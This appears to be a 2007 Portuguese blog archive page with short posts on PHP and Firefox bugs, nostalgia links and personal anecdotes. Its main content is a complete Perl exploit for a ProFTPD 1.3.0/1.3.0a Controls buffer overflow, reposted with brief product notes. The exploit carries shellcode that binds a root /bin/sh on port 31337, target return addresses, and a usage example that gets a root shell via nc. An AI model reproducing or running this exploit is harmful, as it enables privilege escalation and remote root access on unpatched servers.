Archive for February, 2007

Março, O Mês dos Bugs PHP

Anunciado por Stefan Esser, o mês de Março será o “O Mês dos Bugs PHP“.
php logo

Relembramos que tal como o “O Mês dos Bugs Apple“, já falado aqui no bitela, Março será um mês em que serão reportados possíveis bugs do muito conhecido PHP.

A versão mais recente do PHP é a 5.2.1 e será sobre essa que serão maioritariamente reportados os bugs, mas estará também “debaixo de fogo” a mais usada pelos actuais programadores que usam o PHP, a versão 4.

Caso estejam interessados, vejam esta entrevista a Stefan Esser da hardened-php.net

Firefox Cross-Domain Vulnerability

Foi reportada uma falha de segurança no browser que os utilizadores do bitela mais utilizam, o Firefox 2.0.0.1.
lovely red fox

Mais informações deste bug, já corrigido, podem ser consultadas aqui, e no resto deste artigo.

(more…)

My Cubicle


Retirado 2geek2be1.

Commodore 64

E esta hein?

Para os mais nostálgicos, visitem isto.

ProFTPD 1.3.0/1.3.0a, Local Buffer Overflow Exploit

O ProFTPD é um servidor de FTP muito conhecido pela sua estabilidade e segurança, quando configurado correctamente para a situação pretendida; de referir que o servidor de FTP da Sourceforge e do Slackware usam esta ferramenta.

Corre perfeitamente em várias plataformas, tais como AIX, BSD/OS, Cygwin, DG/UX, Digital Unix, FreeBSD, HP/UX, IRIX, zSeries, Linux, Mac OS X, NetBSD, OpenBSD, SCO Unix, Solaris e SunOS. Mas não tem suporte nativo para Windows.

Site Oficial: aqui.

PERL:
  1. #!/usr/bin/perl -w
  2. #
  3. # $Id: revenge_proftpd_ctrls_26.pl, v1.1 2007/02/18 19:30:25 revenge Exp $
  4. #
  5. # ProFTPD v1.3.0/1.3.0a Controls Buffer Overflow Exploit
  6. #
  7. # Original Advisory :
  8. #  http://www.coresecurity.com/?action=item&id=1594
  9. #
  10. # [ Exploitation condition ]
  11. # - proftpd must be compiled with --enable-ctrls option
  12. # - local user needs permission to connect through unix socket (from proftpd.conf)
  13. #
  14. # This one works for 2.6 exploitation against gcc 4.x
  15. # Payload will bind /bin/sh on port 31337 with ( uid && gid = 0 )
  16. # I was able to use only a <bind_shell> as payload since a normal (setuid + execve) seems that doesn't work
  17. #
  18. # Tested against:
  19. # - ProFTPD 1.3.0/1.3.0a on Ubuntu 6.10 compiled with gcc 4.1.2
  20. # - ProFTPD 1.3.0/1.3.0a on Debian Etch(4.0.2-5) compiled with gcc 4.0.3
  21. # *** Against v1.3.0a -- server *could* remain up (in a Denial of Service condition) without binding shell
  22. #
  23. # revenge@eleusi~$ ./revenge_proftpd_ctrls.pl /usr/local/var/proftpd/proftpd.sock 1
  24. # [ wait some secs then nc on port 31337 ]
  25. # anyone@anywhere:~$ nc <host> 31337
  26. # id
  27. # uid=0(root) gid=0(root) groups=65534(nogroup)
  28. # exit
  29. # [ after that server will deactivate ]
  30. #
  31. #  See also : http://www.0xcafebabe.it/sploits/revenge_proftpd_ctrls_24.pl
  32. #
  33. # Alfredo "revenge" Pesoli
  34. #
  35. # http://www.0xcafebabe.it/
  36. # <revenge>
  37. #</revenge></host></bind_shell>
  38.  
  39. use strict;
  40. use Socket;
  41.  
  42. if ( @ARGV &lt;2 ) { &amp;usage(); }
  43.  
  44. my $hellcode =
  45. # *** Generated with libShellCode
  46. # setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
  47. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80".
  48. "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80".
  49. "\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1".
  50. "\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd".
  51. "\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3".
  52. "\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88".
  53. "\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d".
  54. "\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
  55.  
  56. my $rsock   = shift;
  57. my $tn      = shift;
  58.  
  59. my $ret;
  60. my $req;
  61.  
  62. if ( $tn == '1' ) { $req = "A"x512; }
  63. else { $req = "A"x520; }
  64.  
  65. use constant LSOCK  =&gt; '/tmp/tmp.sock';
  66. use constant CANARY =&gt; "\0\0\x0a\xff";
  67. use constant JUNK   =&gt; "AAAAaaaaAAAAaaaa";
  68.  
  69. my %targets = (
  70. '1' =&gt; "\x77\xe7\xff\xff"# Ubuntu 6.10
  71. '2' =&gt; "\x77\xe7\xff\xff"   # Debian Etch 4.0.2-5
  72. # Add here your target RET
  73. );
  74.  
  75. my %tname = (
  76. '1' =&gt; "Ubuntu 6.10",
  77. '2' =&gt; "Debian Etch 4.0.2-5"
  78. );
  79.  
  80. $ret = $targets{$tn};
  81.  
  82. my $buffer = $req.CANARY.JUNK.$ret.$hellcode;
  83. my $l = length($buffer);
  84.  
  85. socket (SOCK, PF_UNIX, SOCK_STREAM, 0)  or die "Unable to create socket : $!";
  86. my $rfile = sockaddr_un($rsock);
  87.  
  88. unlink LSOCK;
  89. my $lfile = sockaddr_un(LSOCK);
  90.  
  91. bind (SOCK, $lfile) or die "Unable to bind to $lfile";
  92. chmod (00700, LSOCK);
  93.  
  94. connect (SOCK, $rfile) or die "\nUnable to connect to ".$rsock."\nMaybe server is down or incorrect path\n\n";
  95.  
  96. print "\n Buffer length =&gt; ".$l."\n";
  97. print " Target =&gt; ".$tname{$tn}."\n";
  98.  
  99. send SOCK, pack("s2", 0),0;
  100. send SOCK, pack("s2", 1,0),0;
  101. send SOCK, pack("C", 188).pack("C",2).pack("s1",0),0;
  102. send SOCK, $buffer,0;
  103.  
  104. close SOCK;
  105.  
  106. print "\n [#] Request sent - try to connect on port 31337\n\n";
  107.  
  108. sub usage() {
  109. print "\n ProFTPD 1.3.0/1.3.0a Controls Buffer Overflow\n";
  110. print " Alfredo \"revenge\" Pesoli\n";
  111. print " <revenge>\n\n";
  112. print "Usage : $0</revenge>
  113. <path_to_unix_socket> <target>\n";
  114. print "   Ex : $0 /usr/local/var/proftpd/proftpd.sock 1\n";
  115. print "\n Available Targets :\n";
  116. print "  1 =&gt; 0xffffe777 (Ubuntu 6.10 - EIP after 532 bytes)\n";
  117. print "  2 =&gt; 0xffffe777 (Debian Etch 4.0.2-5 - EIP after 540 bytes)\n\n";
  118. exit();
  119. }

Trusted Computing

Mais informação.

Bitela no McDonalds!

Numa recente incursão ao McDonald's, reparei que eles têm computadores com internet, disponíveis ao público; ora, toca a divulgar coisas giras à populaça:
no mcdonalds
e, claro, deixei ficar assim:
bitela no mcdonalds

Agora, a minha coroa, onde está? :D

Isto é um Boss

Isto sim! Isto é um Boss a sério!

Vejam:

Conseguiam?

PS: dizer que este tipo de jogos não é do vosso tipo não cola.

You are currently browsing the weblog.bitela.net blog archives for February, 2007.